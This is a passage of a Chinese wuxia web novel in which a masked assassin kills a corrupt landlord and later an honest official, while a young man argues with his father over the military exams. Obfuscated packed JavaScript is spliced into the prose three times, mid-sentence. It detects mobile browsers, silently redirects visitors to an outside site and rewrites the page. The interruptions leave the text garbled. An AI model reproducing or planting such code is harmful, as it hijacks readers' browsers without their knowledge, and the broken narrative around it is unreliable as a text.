江远倾不敢怠慢,连忙跪下,恭恭敬敬拜了三拜。 江夫人拜完便将三柱香插在香炉里,由曼儿扶起。 “回去用些冰硝散,往后我吩咐的事你听着便是。”江夫人对曼儿嗔怪道。 “是,夫人。” “母亲。”江远倾站起身,从曼儿手里接过母亲的手臂,“孩儿还有一事不解。” “什么事?” “为何这契约神庙如此破旧,一副无人祭拜的模样?” “契约神专管契约,传闻若是签订契约时,去契约神庙一起烧香,便是让契约神做个见证了。到时若有一方违反契约,契约神便会降下神罚。” “既是如此,这庙里怎得荒草丛生,不见香火?” 江夫人闻言不禁淡淡一笑:“若是世人都能信守诺言,严守契约,还会有契约神么?现下人人皆为己,自然不敢让契约神做见证。” “原来如此。”江远倾连连点头。 说罢,众人齐回马车。 江远倾上马车时忍不住回头看了一眼契约神庙。 此时雪越下越大,如鹅毛纷飞,远处树丛中的庙宇逐渐模糊,被大雪掩盖,已看不真切。 可那道碧绿光芒却仍在他的脑海里挥之不去…… 夜幕降临,雪花渐小,地上已覆盖了一层积雪。虽无月亮,白雪却衬得大地亮堂堂。 一辆马车从城外疾驰而来,车轮滚动,雪花飞扬,留下两道长长的车轮印。 马车里坐着两个男子,一人身着黑袍,拿着地图指着一处宅院示意给另一个人查看。那人穿着夜行衣,腰挂雁翎刀,戴着副只有左半边脸的狼脸面具。面具呈黑灰色,细细刻画了狼的鬃毛,每一根鬃毛都清晰可见,有如风吹,栩栩如生。 黑袍男子又从怀里取出一张肖像画,画上的人是一位肥头大耳的男子,太阳穴处有颗黑痣。 “你这次要杀的便是他,黄世武,风灵城一位财主。” “风灵城?”面具男子眉毛微抬。 “是的,阎老大说你对风灵城较为熟悉,便将这次的任务交于你。” “曲玉不与我同行?” “他另有任务,此次单独刺杀便是对你的考验。阎老大说,四年苦训,终是到了证明的时候,他对你很是信任,望你莫辜负了他。” “那是自然。这个财主做了什么事?” “他仗着自己家财万贯,与官员勾结,强抢民女,纵容手下行凶作恶,视人命如草芥。” “好,我定尽力而为,取他项上人头来见你!” 说罢,马车停住,面具男子掀起帘子,借雪光看清了远处城门上那熟悉的两个字———风灵。 “我去了。” “周厉!”黑袍男子叫住他,“小心行事,我在此地等你,天亮前回来,莫要误了时辰!” “放心!” 周厉纵身一跃,轻轻落在雪地上。冷冷的雪光照在他那张狼脸面具上,发出银色的光芒,活像一只凶恶狰狞的黑狼。他悄无声息钻进草木从中,身影渐渐隐于夜色。 黄宅大厅内,琴音婉转悠扬,连绵不断。 一双纤纤玉手撩拨琴弦,动作灵动优美。弹琴的女子面覆轻纱,嫣然一笑,引得厅内的男宾客不由自主为之倾倒,口中的美酒还未咽下,眼神便已呆滞。 厅堂内,几位衣着单薄,身段优美的女子正伴随琴音翩翩起舞,她们身旁围坐着衣着华丽,把酒言欢的宾客。 各宾客左右皆伴有美人添酒夹菜,桌上美酒佳肴不断。随着舞女裙摆的转动,室内胭脂香气与酒香混合萦绕,令人沉醉。 首席一位八字胡肥硕男子坐在貂皮制的坐垫上,眯着笑眼目不转睛地瞧着舞女的袅袅身姿,怀里还躺着一位女子。那女子咬了口甜桃,递进男子的嘴里。男子舔舔胡须上沾染的桃汁,露出得意的笑容,脸上横肉堆聚,眼睛眯成了一条缝。 一位仆人小心翼翼走近,在他耳边窃窃私语了一番。八字胡男子顿时喜笑颜开,连忙道:“带上来,带上来!” 说罢便朝席下的一位宾客点头致意,那名宾客也紧瞧着他的神色,见他面上大喜,忙端起酒杯朝他敬酒。 “黄员外,今日大喜呀,鄙人不才,献上美人助兴!”说罢便将手中的酒一饮而尽。 “你呀!还是你懂我!” 黄员外翘首以盼望向门口,自己的仆人果然带来一位闭月羞花,婷婷袅袅的女子。 他忙将她拉近身前,色眼眯眯打量着她。 那女子战战兢兢,眼眶泛红,眼睛里水波涌动。似是因为从风雪中赶来,鼻头粉红,脸颊也红如晚霞。 黄员外瞧着她白皙的肌肤和粉红的脸,心里痒痒的,忍不住抓住她的手往怀里拉。可这一拉,那女子竟一动不动,眼神不时瞥向席下的那位宾客。 那宾客恶狠狠地瞪了她一眼,吓得她收回目光,只得顺从地被黄员外揽进怀里。 “美人儿,你叫什么?”黄员外将她从上到下打量了个遍。 “奴婢……奴婢叫香儿。”香儿怯生生地说道,眼神躲避着黄员外的目光。 “香儿……好名字。”黄员外环顾四周吃酒的宾客,叫来身边的仆从,“将我那件狐裘斗篷拿来。” 仆从听罢出了厅堂,不一会儿便捧来一件成色极好的黑色狐裘斗篷,上有金玉饰品点缀。 黄员外披上斗篷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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香儿顿时慌了神,她看向伸手不见五指的暖亭,阵阵寒意从四面八方侵袭而来,吹得她止不住地颤抖。她不敢再往前,不敢踏进那令人毛骨悚然的阴影里,她预感,若是踏进,便是有去无回。 香儿扑通一声跪在雪地里,泪水不断划过冰冷的脸颊。 “求求您了老爷,放过香儿罢。香儿命贱,只会做些粗活,哪有侍奉老爷的福分……” “你这丫头,哭哭啼啼的,是要扫我的兴儿么?我黄世武,想要什么得不到?” 他紧紧抓住她的手不放,冷眼瞧着她泣不成声。 “求求您了,老爷……求您了……”香儿将头叩在雪地上,刺骨的雪花化作冰水从额头划过。 “莫要推三阻四!快与我进去……” 黄员外试图用蛮力拽住香儿的手臂,可还未将香儿拉起,身体忽地一颤,手上顿时没了力气。 香儿发觉了他的异常,抬头时却看到一张惊愕呆滞的脸。 黄员外一双似要爆裂的眼珠往外凸起,眼睛里瞬间布满血丝,嘴巴张开,颤抖着像是要说些什么,却动弹不得。整张脸怪异可怖,像是被冰雪冻结,无法呼吸。 香儿看见他的脖颈处闪着银光,一股红色液体蔓延流出盖住了银光。她顿时发觉,那是把锋利的飞镖,不偏不倚地射中了黄员外的喉咙…… 她大惊失色,此时身后一人从高处跃下,着地的声音轻如雪落,不待她失声尖叫,便捂住了她的嘴巴。 “别出声。” 香儿眼见着黄员外那肥胖的身躯向后倾倒,重重地摔在地上,激起的雪花在空中飞扬,继而附着在他的狐裘斗篷上。 她浑身颤抖,吓得泪流满面却不敢出声。 身后那人轻声道:“若想活命,从今往后便只能装疯卖傻。他人问起时,只道是撞见了厉鬼来索他的命,明白么?” 那人的声音清脆有力,像是年轻的男子。 香儿将他的话在心里仔细揣摩片刻后,点了点头。 他松开手,将她的头朝后转动:“背过身去,待我走后,你再去通报远处的那位小兄弟,只当我没来过。” 香儿顺从地背过身去,想着他杀死了黄员外也算是救了自己,以后断不可向他人透露救命恩人的一丝讯息。 那人走远几步,像是拿刀砍了几下,继而飞身离去。 香儿听得身后无半点动静,才小心翼翼道:“恩人,你可走了?” 见无人回应,她才缓缓转过身去。 雪地里,一大片血红渗出,被白雪包裹,像是一朵巨大的红梅正拔蕊怒放,鲜艳欲滴。 黄员外的头颅连同那件黑色狐裘斗篷皆不知所踪,只留下一具肥胖的躯体静静地躺在雪地里。 虽做了些心理准备,但眼前的一幕还是让香儿惊恐万分。惊慌失措下,她想起恩人的话,便半假半真做出一副魂飞魄散的模样,尖叫几声,跌跌撞撞往来时的路跑去…… 7. 第 7 章 出城门时,天空还是一片漆黑。 周厉拎着狐裘包裹着的黄世武的项上人头,却不急朝马车行去,想着时辰还早,便去爹娘的坟前祭拜。 几年过去,当初的坟堆早已被杂草掩盖,且长了一棵极粗壮的榕树。 雪花堆叠在树枝上,刻画出蜿蜒曲折的线条,如在雪中飞舞的长龙。 周厉跪在坟前,任凭细雪打湿发丝。 几年前那个瘦弱的少年已变了许多,身形逐渐宽阔,身躯结实有力,脸庞线条锐利。眼睛里一扫之前的慌乱惧怕,多了几分刚毅坚定。 他环顾四周的雪地,眼前的一切似乎都已被风雪掩盖,埋入沉寂,化作一片空白。 可有些东西还未改变,也从未沉默,那团永不泯灭的怒火始终在他的心中燃烧,任风吹雨打,仍倔强昂扬。 祭拜完后,周厉挑了处湖边洗刀。 靠近湖岸时,他便注意到了湖面薄冰下那轻盈游动的身姿。不知怎的,他总是能感知到她的存在,而她也总是能找到他。 虽习以为常,但他还是停下脚步欣赏似的瞧了几眼。 修长柔韧的蛇尾蜿蜒游弋,一片片闪着微光的绿鳞划过碧波,似流动的软玉。她缓缓游过,身躯微微颤动,鳞片随着每一次呼吸起伏摆动。 周厉转移目光,不动声色地蹲下身。他敲碎一块薄冰,将砍下黄世武人头的雁翎刀浸入水中摆了几下,洗干净后又用自己的衣角细细擦拭。 水中已无她的身影,岸上却传来轻柔的踩雪声。 “你为何一直躲着我?”身后传来她的声音。 周厉似充耳不闻,兀自擦着刀,待擦完刀后,才拎起人头缓缓起身。 “难道你是怪我未能救你爹娘?” 周厉转身看向她,一位披着月白色斗篷的女子站在梧桐树下,忧郁的眼神盯住他,浓密丰盈的头发懒懒披在肩上,一对红色的狐狸耳朵因落雪侵扰,轻轻摇摆抖动。 周厉避开她的眼神道:“不是,他们由我亲手埋葬,早已没了声息,我不怪你。” “那你为何躲着我?那晚你明明看见了我。” “我……”周厉低垂眼眸道:“我不知道该如何开口……但我已不是之前的周瑞。” “什么意思?”她有些不解,“你那天像是换了个人,面貌狰狞,很是可怕。还有,那个人……你为什么要杀他?我在他的身上发现了我的鳞片,到底发生了什么?” “他要抓你!”周厉愤愤道:“不仅要抓你,还要害我!他将我逼上了绝路!” 风雪中,她看到他的眼中闪着怒火。 “不过都怪我,是我不小心被他发现了你的鳞片,所以我只能假装臣服,告诉了他们你的事情。不过,我已经将他们都杀了,没人知晓你的所在之地。” 荷玉人听完他一席话,不知是感慨还是恐惧,眼前的人顿时让她感觉十分陌生。 那个她曾经亲手救上来的周瑞,怎得变成今日这副模样?竟说杀便杀,冷酷至极! 可是…… 荷玉人转念一想,他竟是为了自己不被发现而杀掉那些人,这么说,自己才是害死他们的真凶。 “我就知道我说出来你会是这副模样。”周厉一脸平淡道,他失望地盯着荷玉人的脸,一张白净秀丽、却布满惊恐,眼神躲闪疏离的脸。 荷玉人也抬眼看他,一双清眸充斥了复杂的情感,不知是同情还是愧疚。 两人在雪中沉默不语,互相揣摩着对方的神情。 “你怎么戴着面具?” “你怎得变成女子的模样?” 二人异口同声问道,话一出,却又陷入一片寂静。 “几年前杀了那人后,有一群替天行道的前辈收留了我,他们教我武功,我便去刺杀那些为非作歹的恶人。这面具,是我的一位兄弟所赠。”周厉语气淡然道。 “你的意思是,你手里提着的正是那些人的头颅?”荷玉人蹙眉问道。 “正是。”周厉眼神坚定地望向她,“他坏事做尽,死不足惜!我不过是为民除害。” 荷玉人眼中难掩忧色,但看他一脸正义凛然的模样便不好再说些什么。 周厉往地上瞥了眼,问道:“你呢?为何变成了女子的模样?” “我……我听说凡人才可修炼成仙,故废了些力气修炼成女子模样,但我的耳朵好像还是功力不够。” “为何偏偏是女子?” “我觉得凡人中的女子最灵动可爱,便挑了个脸皮……”说完她抬头莞尔一笑。 周厉低头不语,犹豫纠结了许久才说道:“你怪我么?” “你既是为了护我才那样做,我怎能怪你?只是我未能帮到你,你所吃的苦我也一概不知。” “若是能惩恶扬善,我吃的苦便不算什么。” “对了,你说你已不是之前的周瑞,是什么意思?” “我改了名字,周厉。” 雪在不知不觉中停歇,来时的脚印被积雪掩盖,地面重新变得平坦洁白,不留一丝痕迹。 周厉瞧了眼天色,朦胧的天空似是被盖上了一块巨大的黑布,其间透着细微的光芒。这些光芒将天空撕开大大小小的裂缝,像是什么东西即将冲破黑暗。 “我走了。” “周厉……周厉?”荷玉人回过神来,他那句话似刚在耳边,人却早已走远。 他的身影逐渐缩成一个黑点,雪地上留下一串深浅不一的脚印,向远处绵延。从高处望去,雪白的大地似被踩出一道虚线的口子,雪下的黑泥若隐若现…… 下了一夜的雪堆积在屋顶上,像是盖了层棉被。临近正午的阳光照得屋檐上的雪闪闪发光,一滴滴晶莹剔透的雪水不断凝聚、滑落,奏出奇特的乐章。 江宅院内摆放着一个箭靶,红心中已射中几支箭。 院中另一边站着位淡定从容的男子,他将箭矢搭在弦上,一手缓缓拉开弓弦。他的手稳如磐石,眼睛紧盯着前方的靶心,目光如炬。 耳边一片静谧,只时不时传来化雪的水滴声。 他的手指轻轻松开,箭矢瞬间破风而出,只听得一声闷响,那支箭直击红心。 “好!公子真是箭无虚发,有如神臂呀!”一旁的小厮忍不住欢呼道。 “江全,你油腔滑调的本领倒是见长。”他抽出一支箭,摆出架势,紧盯红心,凝神屏气…… “远倾哥哥!” 身后忽然传来清脆的女声,紧接着便是细碎而匆忙的脚步声。 原本盯着靶子的江远倾听得这句喊叫,拉弓的手忽然一松,箭矢离弦,射中红心边缘。 “兰儿?” 江远倾急忙转身,一抹飘逸的淡紫色映入眼帘,在白雪的衬托下显得十分清新婉约。 赵兰一身淡紫色披风,风风火火地急步朝江远倾走来,身后跟着气喘吁吁的巧烟。 “小姐你慢点,小心雪滑!” 话刚出口,赵兰已经走到江远倾面前。圆溜儿的眼睛笑成了月牙,雪白的牙齿衬得嘴唇十分红润。 “你怎么来了?” “我爹听说江伯伯回来了便特来看望,我随他一起来了。” “原来如此。” 江兰看了眼箭靶,眼神中闪烁着新奇的光芒。 “我听伯母说你要参加武举?” 江远倾神色微微讶然,随即点头道:“不错。” “远倾哥哥文武双全,不管做什么兰儿都支持你。只是……我刚刚看江伯伯的脸色似乎不对……” “我爹虽靠一身武艺建起镖局,却在文举上对我寄予厚望。他素来期望我能够勤学苦读,金榜题名,将来如外祖父一般,成为圣上的股肱心膂,为圣上排忧解难。” “江伯伯也是用心良苦,不愿让你同他一样辛苦。” “我知晓,但男子汉大丈夫,参加武举为国征战、驰骋沙场,也是一桩快事。”江远倾眼神坚定道。 站在一旁的巧烟忍不住道:“公子这样想真是难能可贵,不辜负了我家小姐的一番心意。” 赵兰回望她一眼,也笑道:“巧烟说得对!我记得书里有句诗极妙,血染征袍透甲红,当阳谁敢与争锋!上阵杀敌,一马当先,是何等的意气风发!” 江远倾浅浅地笑着,一双充满赞许的眼睛深深地望着她。 “远倾哥哥,兰儿也想学射箭,你教教兰儿罢!” “好。”江远倾不假思索地答道,“江全,去将靶上的箭都取下罢。” “是,公子。” 江全走到箭靶前,吃力地将箭皆数取下。江远倾从他手中抽出一支箭,递给赵兰。 “首先要站直身子,左手握弓,右手握弦。稳住呼吸,瞄准靶心……” 赵兰稳住身体,拉开弓弦,一脸专注地盯着前方的靶子。 她安静时虽不及笑时灵动可人,眉眼却稳稳定住,有如水墨画般清新淡雅,掀起的披风让她比平日里多了分英姿飒爽。 箭靶传来一声闷响,江远倾却觉得自己的心中一颤———眼前展露出一张明媚的笑脸。 那笑脸如同一朵瞬间绽放的花朵,粉嫩娇艳,生机勃勃,肆意盎然。 她深深地吸引住他的目光,不知不觉那枝花朵便悄无声息地、毫无遮掩地,甚至略带些“专横”地扎根在他的心里…… “远倾哥哥,我射中啦!”她欢呼雀跃地指着箭靶向他示意。 江远倾还未转头查看箭靶,便颔首道:“嗯,射得好。” 正午的太阳直直地照在屋顶上,屋檐上的雪已化了不少,露出砖瓦原本古朴的色彩。虽有日光照耀,荫蔽处仍旧寒冷刺骨。 江远倾与赵兰又射了几支箭后,便有丫鬟来传话,让二人去正厅入席与江家老爷夫人及赵家老爷一齐用饭。 席间,桌上不时端来珍馐美馔,香气四溢。桌旁站着好几位服侍的丫鬟,有传菜的,有倒酒的。江风山与赵老爷喝酒畅谈,谈笑不断,正厅内洋溢着温暖热闹的气息。 提及江远倾时,赵老爷流露出一脸欣赏的神态,对这位未来女婿赞不绝口。 “江兄,令郎生得一表人才,气宇轩昂,听闻文武俱佳,真是教导有方啊!” “贤弟谬赞,他不过是读了几本书,只考了个举人,后面的路还长着呢。”江风山捋捋胡须,将一杯酒一饮而尽。饮罢,却只是用衣袖擦擦胡须,添酒夹菜,不看江远倾一眼。 “江兄过谦,依贤弟看,远倾日后必成大器,功成名就只在旦夕之间。” “借你吉言,望他日后不辜负你才是。”江风山瞥了眼江远倾,清了清嗓子。 江远倾忙端酒杯起身,向赵老爷行了个礼:“多谢伯父夸奖,远倾定当发奋图强,不负所望。”说罢,举杯一饮而尽。 “好!”赵老爷笑得眼睛眯成了一条线,“等你取得功名,我便将兰儿嫁于你。” 赵兰坐在一旁,难掩羞涩道:“爹爹,兰儿还坐在这里呢。” 赵老爷听罢哈哈大笑起来:“是爹爹疏忽了。” 江风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611554|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山也放声大笑,原就因风吹日晒而变得古铜色的脸,此时一片酱红。 江远倾小心瞥了眼父亲,他脸上的不悦似乎一扫而空,取而代之的是从容尽兴的笑容。 宴席渐入尾声,江风山与赵老爷相互寒暄了几句,便起身送行。谈话间,赵兰悄悄塞给江远倾一团手帕包裹着的物件,并小声说道:“待我走后你再打开。” 江远倾反应过来点了点头,环顾四周确保无人发现后便松了口气,将那团物件收进袖里。 目送赵家父女上马车远去后,江风山转身脸色阴沉,轻声对江远倾说道:“来我书房。” 还未待江远倾应声,他便负手兀自离去。江远倾低头默然,跟了上去。 书房内,江风山表情严肃地坐在书案前,脸上布满阴云,与席间轻松从容的模样判若两人。江远倾不敢怠慢,进了书房便将门关好,随即跪在地上,一言不发。 “你跪着做什么?” “孩儿有错。” “错在哪里?” 江远倾小心翼翼地抬头看了眼父亲,却正好与江风山的一双怒目撞上,便急忙低下头。 “错在放弃文举,选择武举……” “我之前与你说的你都忘了么?我让你参加文举是为了什么?你说!” “外祖父在朝中孤立无援,参加文举是为了将来与刘党势力抗衡,为圣上排忧解难,为国家斩除奸邪。” “那你现在在做什么?” “现下外贼侵扰,边疆百姓苦不堪言,孩儿想……想成为武官,收复失地……” “糊涂!武官怎比得文官?你以为你通过武举便能得偿所愿?朝中结党营私,刘党势力庞大,即便你通过武举,也是任人摆布!当务之急是去皇上身边,不得君心,何谈带兵打仗?” “可是,边疆的百姓谁来管?镇守边关的将领与刘党关系密切,在其位而不谋其政……” “你也知晓边关有刘党的爪牙,你以为他们能大发善心,将功劳拱手相让于你么?没有圣上撑腰,只怕你还未上阵杀敌,便已死于内斗!” 江远倾闭口不言,却胸脯起伏,一副忍气吞声、不服气的模样。 江风山见他不言不语,便语气缓和道:“爹爹知道你是一片赤诚之心,可是体恤民心,不如深得君心。天下是圣上的天下,得了圣上宠信,何愁没有带兵打仗的机会?” 江远倾渐渐平息情绪,低头道:“孩儿知道了。” “我知晓你母亲的苦心,她不想让你同岳父一样,陷于无休止的内斗。可若世人皆是知难而退、趋利避害之类,那这世间便彻底无药可救。” “孩儿明白,今后定会反躬自省,心无旁骛准备下次的考试。” 江风山轻轻颔首,愁眉舒展,脸上神情缓和了些。 “可是爹爹,您真的要去护送万寿节礼么?刘承贤突然举荐您,怕是不安好心。” “我知此行是刘承贤有意为之,可若抗旨,你外祖父在朝中的处境便会越发艰难,且助长了他们结党营私之风。故此行,爹非去不可,别无他选。” “刘承贤定会从中作梗,爹爹您这一路恐生诸多变数。”江远倾担忧道。 “爹心里有数,到时叫上镖局里所有身手敏捷的镖头随我一同前去护送皇纲。再说,这可是宁王献给圣上的万寿节礼,他刘承贤哪怕再为非作歹,也不敢拿自己的脑袋开玩笑,宁王也不会饶了他!” “希望如此,爹爹您此行定要多加小心。” “放心,现下对你而言最要紧的是下次的考试,你可要好生准备,不容有失。”江风山语重心长道。 “孩儿定遵从爹爹教诲。” 江风山看他跪在地上恭恭敬敬的模样,心下一软:“起来罢。” “谢爹爹。”江远倾不忘行礼,起身时腿上一阵酸软。天冷地寒,膝盖似跪在冰上,只觉透骨奇寒。 “对了,你与赵兰进展如何?”江风山端起茶杯,轻轻吹口气,抿了口茶水。 “她似乎对孩儿情深意重,但孩儿仍维持着不即不离的关系。” “很好。”江风山喝完茶,将茶杯小心置于书案上,抬头却看到江远倾蹙着眉头,“想什么呢?” “爹爹,赵家与我们江家已经定了娃娃亲,为何您还让孩儿提防?难道是对赵伯父还心存戒心么?” “定了亲事又如何?各取所需罢了。赵家也算是官宦世家,在朝中虽不及刘党,却也有一定的地位。我们两家联姻,不过是看中了彼此的势力。世人来往间无非是为了一个利字,在利益面前,还谈有多少真心么?若不是你外祖父的缘故,他赵家会多看我们江家一眼么?” 江远倾低垂眼眸,捏紧了袖口。 “你切记,凡事不可感情用事,要以大局为重。” “是,爹爹。” “该说的爹都说完了,你出去罢。” 话罢,江远倾向父亲行了个礼,推门而出,往自己的房间行去。 一进房间,他悄悄关上门窗,从袖子里拿出赵兰塞给他的物件。揭开手帕,里面包裹着一个粉色香囊,香囊前后各绣了“福”字与“寿”字。针脚细腻流畅,二字周围皆绣了几朵紫色兰花,色彩淡雅清丽,栩栩如生。 江远倾将香囊捏在手心,深邃的眼眸被一层愁雾掩盖,心中有万般思绪纠缠不休。 此时日光西斜,窗外不断传来北风呼啸的声响,风吹窗棂,发出“吱嘎吱嘎”的杂音。房中静坐之人却置若罔闻,只出神地盯着一处地方,沉默无声…… 8. 第 8 章 一轮明月悬于墨色的夜空中,凛冽的寒风卷着落叶四处飞舞,搅乱了月影。 冷风呼啸而过,一棵古松树岿然屹立在一处小巧的宅院内。只见树影微微颤动,树枝却傲然挺立,任北风咆哮,却苍翠依然。在月色的照耀下,散发着坚毅冷峻的美感。 树影投在长廊的地上,错落有致,有如一副肆意的泼墨山水画。 长廊里走来一男子,一副小厮的装扮,手上捧着一个托盘,托盘上茶杯里散发着沁人心脾的茶香。 他脚步匆匆,轻踩树影,穿过长廊,直到在一间书房门前驻步。 “大人,您的茶好了。” “进来罢。”书房里传来浑厚有力的男声。 小厮推门而入,将茶杯小心置于书案上。 书案前,一位留有胡须、面容威严的男子正专心致志地挥毫书写,目光坚定锐利。 “那些书画都退了么?”他似不经意地问道,却并未抬头停笔。 “回大人,已吩咐人全数送回去了。” “那就好,正是关键之时,千万不可落人话柄。” “小的明白。” 男子仍未停笔,又过了好半晌才书写完成。写完最后一字时,他似大功告成般轻吐口气,揉了揉酸痛的手腕,才端起茶杯。 “奏折已草拟完毕,有些语句还需润色,你且帮我看看。” “大人言重,为大人分忧是小人分内之事。”说罢,小厮凑近书案,逐字逐句在心中默读。 男子离开书案,将茶杯递于口鼻前细细品嗅,目光却盯住窗上摇曳的树影,眉间紧蹙,面色凝重。 “今日果真是领会到他刘承贤的手腕,处处打点,密不透风。可惜,他不知晓我林朝恩的为人,他当真以为自己能买通天下所有人,一手遮天么?” 林朝恩紧紧握住茶杯,眼中充满憎恨和不屑:“圣上对他厚爱有加,没想到他竟勾结边臣,置百姓生死于不顾,与外贼做私下交易,真是罪该万死!” “大人,刘承贤作恶多端,早已引起众怒。此事证据确凿,您若向圣上奏疏,朝中必有人倒戈从之。只是……” “只是什么?” “只是大人今日将他送来的书画退回去,他定会怀恨在心,近日需处处小心了。刘承贤耳目众多,只怕您身边早有细作混入。” 林朝恩喉中哼了一声,嘴角轻蔑道:“真是小人作派,令人作呕!” “小的刚才细细瞧了一遍,大人所书,文字优美,语言精炼,内容条理有据,简明扼要。在列举刘承贤罪状之处,字字泣血、直击人心,此篇奏疏必能成为撼动刘党根基的一柄利刃!” 林朝恩赞许地点了点头:“为保稳妥,明日还需仔细斟酌。夜深露重,你先回去歇息罢。” “是,大人也早些休息。”小厮拱手行礼,转身离去。 林朝恩复坐在书案前,看着草拟的奏折凝神沉思。 烛火昏黄,外间寒风簌簌,林朝恩渐觉眼皮沉重,闭目睡去。 不知睡了多久,突然一声异响传来。林朝恩从梦中惊醒,心头一紧,迅即朝那发声处望去———原是窗户被风吹开,摇摇晃晃发出声响。 林朝恩仍一脸警戒,悄悄从身后墙上取下佩剑,缓步走近窗户。 窗外并无一人,外间狂风大作,地上的黑色树影摇晃得愈发激烈,似魑魅魍魉张牙舞爪。 他从容自若地关上窗户,可就在转身那一刹,一阵微风掠过,一个人影站在面前。 还未待他定睛细看,脖子上一阵冰凉———一把刀架在他的脖颈处,在烛火的照耀下闪着锋利的寒光。 “林朝恩。”那人影语气冷冽,一字一顿道。 “你是何人?” 林朝恩未露惧色,可人影在黑暗中不发一言。 “你究竟是何人?求财还是求……” “求命。”人影斩钉截铁地打断他。 林朝恩借烛火打量他几眼,这人好生奇怪,只戴了左边脸面具,那面具画了狼脸。右边脸背着烛火,一片灰暗,只大约看出是个年轻男子的轮廓。 “你为何要杀我?我林朝恩自问未做一桩亏心事,小兄弟,你怕不是寻仇寻错了人。” 面具男子发出一声冷笑:“你们这种人向来记不住自己所做的恶事,你残害忠良,卖国求荣,今日我来替天行道。” 林朝恩听罢不但毫无畏惧,反而哈哈大笑起来:“是谁教你把这些罪名安到我头上来的?他刘承贤敢做不敢当,竟将脏水往我身上泼!小兄弟,你助纣为虐,成了奸臣的走狗却不自知!” “胡说!你死到临头还敢狡辩!”面具男子将手中的刀递近了一分。 “你若全然不信,又为何不直接杀了我?怕是今日早些时辰你就已藏在某处,将我们商议的话听了去。” “刘承贤是谁?” “当今朝堂臭名昭著的宦官你竟未曾听说?”林朝恩冷笑道:“看来你们这群底下的人消息十分闭塞,你怎么不去问问你们的头领,为何要派你来杀我?” “少废话!奏折在哪里?证据又在哪里?” “在你身后的书案上。” “你上前来。”面具人将刀抵住林朝恩的脖子逼他挪步,而自己也能够后退几步够到书案上的奏折。 他一手架刀,一手拿起奏折读了起来。 林朝恩趁他偏头的空当看清了他的右脸,皮肤白皙,还未长出胡须,不过是个十几岁的少年。 面具男子专心看着奏折,脸色愈发凝重。 林朝恩见他双目紧盯奏折,已约莫读了一大半,便悄悄抬起手中的剑,趁他分神时,迅速将肩上的刀一挑,转身朝门口跑去。 面具男子正盯着手中的奏折,未料到他突然的反击。待他回过神,林朝恩早已快步跑到门口。 可他刚刚打开门还未迈步,外间忽然传来凌厉的风声,一支飞镖从暗中射出。只见林朝恩的身子颤动了一下,那支飞镖直直地穿过他的喉咙,射中面具男子身旁的柱子,上面沾染了一丝血迹…… 面具男子盯住那支飞镖,这手法令他十分熟悉。 林朝恩瞬间没了气息,缓缓仰头倒地,他的身躯落下,取而代之的是一个清瘦的身影。 那人跨过林朝恩,烛火照亮了他的脸庞。一对细长的眉毛,一双敏锐的眼睛打量了几下面具男子,眼眸中闪过一道寒意。 “曲玉?”面具男子脱口而出。 他未理睬,兀自在已倒地断气的林朝恩身上摸索着什么,在一阵翻找后,竟搜出几封信件。 面具男子悄悄将手中的奏折藏在身上。 “周厉,你为何迟迟不杀他?难道你想回去受罚么?”曲玉厉声道。 “你怎么在这里?你刚刚在他身上搜出什么?” 曲玉未应答,一脸忿忿地转头飞身离去。 周厉连忙追在他的身后,可曲玉轻功极佳,如同飞鸟一般,在房顶屋檐上快速移动,步法似蜻蜓点水,周厉实在望尘莫及。 眼看追不上,周厉故意踏错一步,从高高的屋檐上摔了下来,惨叫一声。 果然,没过一会,屋檐上又传来他极细微的脚步声。 “真是愚钝。”曲玉从屋檐上轻轻跃下,走到周厉身边,探手检查他的腿。 周厉瞅准时机,从他怀里抽出林朝恩的信件。 “你这是做什么?那是要交给阎老大的!”曲玉迅速抓住他的手腕。 “所以,是阎老大不放心我,派你来的么?” 曲玉一时无言。 “你们口口声声说是惩恶扬善,如今连这信件都不让我看,到底藏的什么私心?” “周厉,你看与不看都改变不了什么。” “我偏要看。” 曲玉无奈摇头,继续检查周厉摔坏的骨头。 周厉拆开信件,里面写的都是刘承贤与边臣的往来谈话,他越看下去,心中的怒火便愈燃愈烈。 “为什么?为什么阎老大在林朝恩即将奏疏之时派我来杀他?阎老大与刘承贤什么关系?为何他从未与我们说起?” “你小声些。”曲玉避而不谈,“你腿有伤折,我背你回去。” 说罢他欲背起周厉,可周厉却推开他的手,火冒三丈道:“你没听见我的话么?还是说你早就知晓,一直瞒着我?” “你以为惩恶扬善是什么容易的事么?”曲玉也恼了,“师兄弟们的吃穿用度,哪样不需要银两?不替人办事,你以为光喊着替天行道就能活下去么?” “林朝恩不一样!他是个好官!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“周厉受了伤,一时心急便忘了。你放心,林朝恩死了,阎老大要的东西我也拿到了,没了这东西,林朝恩活着也无计可施。”曲玉回道。 “没有人头,回去阎老大问起,你自行解释罢。” “多谢提醒。”曲玉一边搀扶周厉上马车,一边没好气地答道。 马车夫见他似胸中有怒气,便识趣地未再搭话。待二人坐好,挥了一马鞭,驾车离去。 马车行了许久,终在一处偏僻的宅院停住,宅院门上挂着一匾———“阎宅”。 再掀开车帘时,天空已是一片鱼肚白。 曲玉将周厉搀扶下车走进宅院,院里已有早起练功的师兄弟。 周厉解开曲玉搀扶的手臂,叫了个师弟扶他去房间。 曲玉想着还需去阎老大那里复命,便未再跟随,只叫了个人去传与他们同吃同住的大夫给周厉瞧腿,安排妥当后就往阎老大的书房行去。 